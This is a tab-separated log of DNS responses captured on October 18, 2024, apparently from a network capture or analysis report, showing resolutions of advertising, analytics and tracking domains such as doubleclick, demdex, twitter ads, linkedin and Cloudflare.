Oct 18, 2024 15:48:12.570333958 CEST	1.1.1.1	192.168.2.8	0xea7e	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.248.127.197	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.571115971 CEST	1.1.1.1	192.168.2.8	0x6f95	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.571115971 CEST	1.1.1.1	192.168.2.8	0x6f95	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.571115971 CEST	1.1.1.1	192.168.2.8	0x6f95	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.571474075 CEST	1.1.1.1	192.168.2.8	0x17c7	No error (0)	static.ads-twitter.com	platform.twitter.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.571474075 CEST	1.1.1.1	192.168.2.8	0x17c7	No error (0)	platform.twitter.map.fastly.net		146.75.88.157	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.571485043 CEST	1.1.1.1	192.168.2.8	0xa021	No error (0)	static.ads-twitter.com	platform.twitter.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.576440096 CEST	1.1.1.1	192.168.2.8	0x4249	No error (0)	tag.demandbase.com		3.165.136.22	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.576440096 CEST	1.1.1.1	192.168.2.8	0x4249	No error (0)	tag.demandbase.com		3.165.136.55	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.576440096 CEST	1.1.1.1	192.168.2.8	0x4249	No error (0)	tag.demandbase.com		3.165.136.83	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.576440096 CEST	1.1.1.1	192.168.2.8	0x4249	No error (0)	tag.demandbase.com		3.165.136.7	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.615427971 CEST	1.1.1.1	192.168.2.8	0x157d	No error (0)	t.co		162.159.140.229	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.644088030 CEST	1.1.1.1	192.168.2.8	0x1846	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.644088030 CEST	1.1.1.1	192.168.2.8	0x1846	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.644088030 CEST	1.1.1.1	192.168.2.8	0x1846	No error (0)	s.twitter.com		104.244.42.67	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.644655943 CEST	1.1.1.1	192.168.2.8	0x8e3	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.644655943 CEST	1.1.1.1	192.168.2.8	0x8e3	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.646260977 CEST	1.1.1.1	192.168.2.8	0x1ec9	No error (0)	googleads.g.doubleclick.net		142.250.184.226	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.646907091 CEST	1.1.1.1	192.168.2.8	0x8c3e	No error (0)	googleads.g.doubleclick.net			65	IN (0x0001)	false
Oct 18, 2024 15:48:12.651177883 CEST	1.1.1.1	192.168.2.8	0x7fe5	No error (0)	cdn.bizible.com	fp2c5c.wac.108ca.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.651177883 CEST	1.1.1.1	192.168.2.8	0x7fe5	No error (0)	fp2c5c.wac.108ca.kappacdn.net	fp2c5c.wac.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.651230097 CEST	1.1.1.1	192.168.2.8	0xa932	No error (0)	cdn.bizible.com	fp2c5c.wac.108ca.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.651230097 CEST	1.1.1.1	192.168.2.8	0xa932	No error (0)	fp2c5c.wac.108ca.kappacdn.net	fp2c5c.wac.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.651230097 CEST	1.1.1.1	192.168.2.8	0xa932	No error (0)	fp2c5c.wac.kappacdn.net		152.195.15.58	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.672307014 CEST	1.1.1.1	192.168.2.8	0x10fc	No error (0)	bat-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.672307014 CEST	1.1.1.1	192.168.2.8	0x10fc	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.672307014 CEST	1.1.1.1	192.168.2.8	0x10fc	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.883241892 CEST	1.1.1.1	192.168.2.8	0x594c	No error (0)	www.linkedin.com	cf-afd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.883241892 CEST	1.1.1.1	192.168.2.8	0x594c	No error (0)	cf-afd.www.linkedin.com	www.linkedin.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.883255959 CEST	1.1.1.1	192.168.2.8	0x21cc	No error (0)	www.linkedin.com	afd-lnkd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.883255959 CEST	1.1.1.1	192.168.2.8	0x21cc	No error (0)	afd-lnkd.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.988284111 CEST	1.1.1.1	192.168.2.8	0x9cc2	No error (0)	www.google.com		172.217.18.4	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.988604069 CEST	1.1.1.1	192.168.2.8	0xe43b	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:13.066899061 CEST	1.1.1.1	192.168.2.8	0xbc3b	No error (0)	cdn.bizibly.com	fp2c5c.wac.108ca.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:13.066899061 CEST	1.1.1.1	192.168.2.8	0xbc3b	No error (0)	fp2c5c.wac.108ca.kappacdn.net	fp2c5c.wac.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:13.067133904 CEST	1.1.1.1	192.168.2.8	0x1e32	No error (0)	cdn.bizibly.com	fp2c5c.wac.108ca.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:13.067133904 CEST	1.1.1.1	192.168.2.8	0x1e32	No error (0)	fp2c5c.wac.108ca.kappacdn.net	fp2c5c.wac.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:13.067133904 CEST	1.1.1.1	192.168.2.8	0x1e32	No error (0)	fp2c5c.wac.kappacdn.net		152.195.15.58	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.259263992 CEST	1.1.1.1	192.168.2.8	0x9c46	No error (0)	dsum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.259263992 CEST	1.1.1.1	192.168.2.8	0x9c46	No error (0)	dsum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.259938955 CEST	1.1.1.1	192.168.2.8	0xb877	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:13.259938955 CEST	1.1.1.1	192.168.2.8	0xb877	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.207.158.69	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.259938955 CEST	1.1.1.1	192.168.2.8	0xb877	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.228.180.107	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.259938955 CEST	1.1.1.1	192.168.2.8	0xb877	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.208.247.58	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.259938955 CEST	1.1.1.1	192.168.2.8	0xb877	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.205.124.140	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.259938955 CEST	1.1.1.1	192.168.2.8	0xb877	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.21.129.120	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.259938955 CEST	1.1.1.1	192.168.2.8	0xb877	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		44.194.70.0	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.259938955 CEST	1.1.1.1	192.168.2.8	0xb877	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.196.101.185	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.259938955 CEST	1.1.1.1	192.168.2.8	0xb877	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		18.235.133.40	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.260405064 CEST	1.1.1.1	192.168.2.8	0x42d3	No error (0)	dsum-sec.casalemedia.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:13.270560980 CEST	1.1.1.1	192.168.2.8	0x4919	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:13.282115936 CEST	1.1.1.1	192.168.2.8	0x96be	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:13.282892942 CEST	1.1.1.1	192.168.2.8	0xa219	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:13.311455965 CEST	1.1.1.1	192.168.2.8	0x4c8e	No error (0)	px.ads.linkedin.com	afd-lnkd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:13.311455965 CEST	1.1.1.1	192.168.2.8	0x4c8e	No error (0)	afd-lnkd.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:13.311470985 CEST	1.1.1.1	192.168.2.8	0xf846	No error (0)	px.ads.linkedin.com	afd-lnkd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:13.311470985 CEST	1.1.1.1	192.168.2.8	0xf846	No error (0)	afd-lnkd.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:13.511244059 CEST	1.1.1.1	192.168.2.8	0x6746	No error (0)	t.co		172.66.0.227	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.558862925 CEST	1.1.1.1	192.168.2.8	0x4da4	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:13.558862925 CEST	1.1.1.1	192.168.2.8	0x4da4	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:13.558862925 CEST	1.1.1.1	192.168.2.8	0x4da4	No error (0)	s.twitter.com		104.244.42.3	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.560272932 CEST	1.1.1.1	192.168.2.8	0x499d	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:13.560272932 CEST	1.1.1.1	192.168.2.8	0x499d	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:13.701741934 CEST	1.1.1.1	192.168.2.8	0x1c64	No error (0)	js.qualified.com		104.18.16.5	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.701741934 CEST	1.1.1.1	192.168.2.8	0x1c64	No error (0)	js.qualified.com		104.18.17.5	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.702356100 CEST	1.1.1.1	192.168.2.8	0xb2e6	No error (0)	js.qualified.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:13.703504086 CEST	1.1.1.1	192.168.2.8	0x372b	No error (0)	adobedc.demdex.net	demdex.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:13.703504086 CEST	1.1.1.1	192.168.2.8	0x372b	No error (0)	demdex.net.ssl.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.703504086 CEST	1.1.1.1	192.168.2.8	0x372b	No error (0)	demdex.net.ssl.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.703504086 CEST	1.1.1.1	192.168.2.8	0x372b	No error (0)	demdex.net.ssl.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.704634905 CEST	1.1.1.1	192.168.2.8	0x3664	No error (0)	adobedc.demdex.net	demdex.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:13.718383074 CEST	1.1.1.1	192.168.2.8	0x3dd1	No error (0)	ws6.qualified.com		104.18.16.5	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.718383074 CEST	1.1.1.1	192.168.2.8	0x3dd1	No error (0)	ws6.qualified.com		104.18.17.5	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.721132994 CEST	1.1.1.1	192.168.2.8	0x861d	No error (0)	ws6.qualified.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:13.732914925 CEST	1.1.1.1	192.168.2.8	0x7b30	No error (0)	tag-logger.demandbase.com		18.173.205.104	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.732914925 CEST	1.1.1.1	192.168.2.8	0x7b30	No error (0)	tag-logger.demandbase.com		18.173.205.94	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.732914925 CEST	1.1.1.1	192.168.2.8	0x7b30	No error (0)	tag-logger.demandbase.com		18.173.205.127	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.732914925 CEST	1.1.1.1	192.168.2.8	0x7b30	No error (0)	tag-logger.demandbase.com		18.173.205.117	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.770886898 CEST	1.1.1.1	192.168.2.8	0xabfe	No error (0)	api.company-target.com		18.66.102.127	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.770886898 CEST	1.1.1.1	192.168.2.8	0xabfe	No error (0)	api.company-target.com		18.66.102.98	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.770886898 CEST	1.1.1.1	192.168.2.8	0xabfe	No error (0)	api.company-target.com		18.66.102.85	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.770886898 CEST	1.1.1.1	192.168.2.8	0xabfe	No error (0)	api.company-target.com		18.66.102.75	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.025696039 CEST	1.1.1.1	192.168.2.8	0x7ada	No error (0)	713-xsc-918.mktoresp.com		192.28.144.124	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.255256891 CEST	1.1.1.1	192.168.2.8	0x6db2	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:14.255256891 CEST	1.1.1.1	192.168.2.8	0x6db2	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.21.129.120	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.255256891 CEST	1.1.1.1	192.168.2.8	0x6db2	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.203.22.141	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.255256891 CEST	1.1.1.1	192.168.2.8	0x6db2	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.228.180.107	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.255256891 CEST	1.1.1.1	192.168.2.8	0x6db2	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.207.158.69	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.255256891 CEST	1.1.1.1	192.168.2.8	0x6db2	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.205.124.140	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.255256891 CEST	1.1.1.1	192.168.2.8	0x6db2	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.86.136.198	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.255256891 CEST	1.1.1.1	192.168.2.8	0x6db2	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.196.101.185	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.255256891 CEST	1.1.1.1	192.168.2.8	0x6db2	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		18.235.133.40	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.256469011 CEST	1.1.1.1	192.168.2.8	0x53c2	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:14.357328892 CEST	1.1.1.1	192.168.2.8	0xec4a	No error (0)	cdn.bizibly.com	fp2c5c.wac.108ca.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:14.357328892 CEST	1.1.1.1	192.168.2.8	0xec4a	No error (0)	fp2c5c.wac.108ca.kappacdn.net	fp2c5c.wac.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:14.357328892 CEST	1.1.1.1	192.168.2.8	0xec4a	No error (0)	fp2c5c.wac.kappacdn.net		152.195.15.58	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.357343912 CEST	1.1.1.1	192.168.2.8	0x95b6	No error (0)	cdn.bizibly.com	fp2c5c.wac.108ca.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:14.357343912 CEST	1.1.1.1	192.168.2.8	0x95b6	No error (0)	fp2c5c.wac.108ca.kappacdn.net	fp2c5c.wac.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:14.717829943 CEST	1.1.1.1	192.168.2.8	0x693f	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:14.718004942 CEST	1.1.1.1	192.168.2.8	0x12eb	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:14.732356071 CEST	1.1.1.1	192.168.2.8	0x74e6	No error (0)	edge.adobedc.net	adobedc.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:14.732356071 CEST	1.1.1.1	192.168.2.8	0x74e6	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.732356071 CEST	1.1.1.1	192.168.2.8	0x74e6	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.732356071 CEST	1.1.1.1	192.168.2.8	0x74e6	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.734492064 CEST	1.1.1.1	192.168.2.8	0x9c79	No error (0)	edge.adobedc.net	adobedc.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:14.884114027 CEST	1.1.1.1	192.168.2.8	0x4c99	No error (0)	dsum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.884114027 CEST	1.1.1.1	192.168.2.8	0x4c99	No error (0)	dsum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.884143114 CEST	1.1.1.1	192.168.2.8	0x98a0	No error (0)	dsum-sec.casalemedia.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:15.245354891 CEST	1.1.1.1	192.168.2.8	0x1d9	No error (0)	tag-logger.demandbase.com		18.239.18.49	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:15.245354891 CEST	1.1.1.1	192.168.2.8	0x1d9	No error (0)	tag-logger.demandbase.com		18.239.18.15	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:15.245354891 CEST	1.1.1.1	192.168.2.8	0x1d9	No error (0)	tag-logger.demandbase.com		18.239.18.53	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:15.245354891 CEST	1.1.1.1	192.168.2.8	0x1d9	No error (0)	tag-logger.demandbase.com		18.239.18.62	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:16.240210056 CEST	1.1.1.1	192.168.2.8	0x22e	No error (0)	edge.adobedc.net	adobedc.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:16.240381956 CEST	1.1.1.1	192.168.2.8	0x7052	No error (0)	edge.adobedc.net	adobedc.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:16.240381956 CEST	1.1.1.1	192.168.2.8	0x7052	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:16.240381956 CEST	1.1.1.1	192.168.2.8	0x7052	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:16.240381956 CEST	1.1.1.1	192.168.2.8	0x7052	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:44.216960907 CEST	1.1.1.1	192.168.2.8	0x6a9f	No error (0)	analytics.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:44.217010021 CEST	1.1.1.1	192.168.2.8	0xadc6	No error (0)	analytics.google.com	analytics-alv.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:44.524501085 CEST	1.1.1.1	192.168.2.8	0xee3d	No error (0)	td.doubleclick.net		216.58.206.66	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:44.586097956 CEST	1.1.1.1	192.168.2.8	0x86f6	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
Oct 18, 2024 15:48:44.589196920 CEST	1.1.1.1	192.168.2.8	0xe296	No error (0)	ad.doubleclick.net		142.250.185.166	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:45.254283905 CEST	1.1.1.1	192.168.2.8	0xbdd5	No error (0)	r.logr-ingest.com	prod-default.lb.logrocket.network		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:45.254353046 CEST	1.1.1.1	192.168.2.8	0x8e8a	No error (0)	r.logr-ingest.com	prod-default.lb.logrocket.network		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:45.254353046 CEST	1.1.1.1	192.168.2.8	0x8e8a	No error (0)	prod-default.lb.logrocket.network		104.198.23.205	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:46.445987940 CEST	1.1.1.1	192.168.2.8	0x198e	No error (0)	ad.doubleclick.net		142.250.185.102	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:46.446002007 CEST	1.1.1.1	192.168.2.8	0x3b37	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
Oct 18, 2024 15:48:47.478617907 CEST	1.1.1.1	192.168.2.8	0x6ce8	No error (0)	adservice.google.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:47.479502916 CEST	1.1.1.1	192.168.2.8	0x19e3	No error (0)	adservice.google.com		216.58.212.130	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:49.874207973 CEST	1.1.1.1	192.168.2.8	0xaa4b	No error (0)	adservice.google.com		172.217.18.2	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:49.874222040 CEST	1.1.1.1	192.168.2.8	0x17e0	No error (0)	adservice.google.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:52.432009935 CEST	1.1.1.1	192.168.2.8	0x49d0	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:10.721271038 CEST	1.1.1.1	192.168.2.8	0x94d0	No error (0)	www.cloudflare.com		104.16.124.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:10.721271038 CEST	1.1.1.1	192.168.2.8	0x94d0	No error (0)	www.cloudflare.com		104.16.123.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:10.721654892 CEST	1.1.1.1	192.168.2.8	0xc560	No error (0)	www.cloudflare.com			65	IN (0x0001)	false
Oct 18, 2024 15:49:11.114284992 CEST	1.1.1.1	192.168.2.8	0xd200	No error (0)	cf-assets.www.cloudflare.com			65	IN (0x0001)	false
Oct 18, 2024 15:49:11.114547014 CEST	1.1.1.1	192.168.2.8	0x5e5f	No error (0)	cf-assets.www.cloudflare.com		104.16.123.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:11.114547014 CEST	1.1.1.1	192.168.2.8	0x5e5f	No error (0)	cf-assets.www.cloudflare.com		104.16.124.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:12.037272930 CEST	1.1.1.1	192.168.2.8	0x6cca	No error (0)	stats.g.doubleclick.net		74.125.133.155	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:12.037272930 CEST	1.1.1.1	192.168.2.8	0x6cca	No error (0)	stats.g.doubleclick.net		74.125.133.156	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:12.037272930 CEST	1.1.1.1	192.168.2.8	0x6cca	No error (0)	stats.g.doubleclick.net		74.125.133.157	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:12.037272930 CEST	1.1.1.1	192.168.2.8	0x6cca	No error (0)	stats.g.doubleclick.net		74.125.133.154	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:12.640281916 CEST	1.1.1.1	192.168.2.8	0xd1bd	No error (0)	cdn.bizible.com	fp2c5c.wac.108ca.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:49:12.640281916 CEST	1.1.1.1	192.168.2.8	0xd1bd	No error (0)	fp2c5c.wac.108ca.kappacdn.net	fp2c5c.wac.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:49:12.640281916 CEST	1.1.1.1	192.168.2.8	0xd1bd	No error (0)	fp2c5c.wac.kappacdn.net		152.195.15.58	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:12.641578913 CEST	1.1.1.1	192.168.2.8	0x789d	No error (0)	cdn.bizible.com	fp2c5c.wac.108ca.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:49:12.641578913 CEST	1.1.1.1	192.168.2.8	0x789d	No error (0)	fp2c5c.wac.108ca.kappacdn.net	fp2c5c.wac.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:49:12.986639023 CEST	1.1.1.1	192.168.2.8	0x80b5	No error (0)	bat-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:49:12.986639023 CEST	1.1.1.1	192.168.2.8	0x80b5	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:12.986639023 CEST	1.1.1.1	192.168.2.8	0x80b5	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:14.420202017 CEST	1.1.1.1	192.168.2.8	0x3f4c	No error (0)	ws6.qualified.com		104.18.16.5	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:14.420202017 CEST	1.1.1.1	192.168.2.8	0x3f4c	No error (0)	ws6.qualified.com		104.18.17.5	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:14.421219110 CEST	1.1.1.1	192.168.2.8	0x142b	No error (0)	ws6.qualified.com			65	IN (0x0001)	false
Oct 18, 2024 15:49:15.897496939 CEST	1.1.1.1	192.168.2.8	0x9e28	No error (0)	edge.adobedc.net	adobedc.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
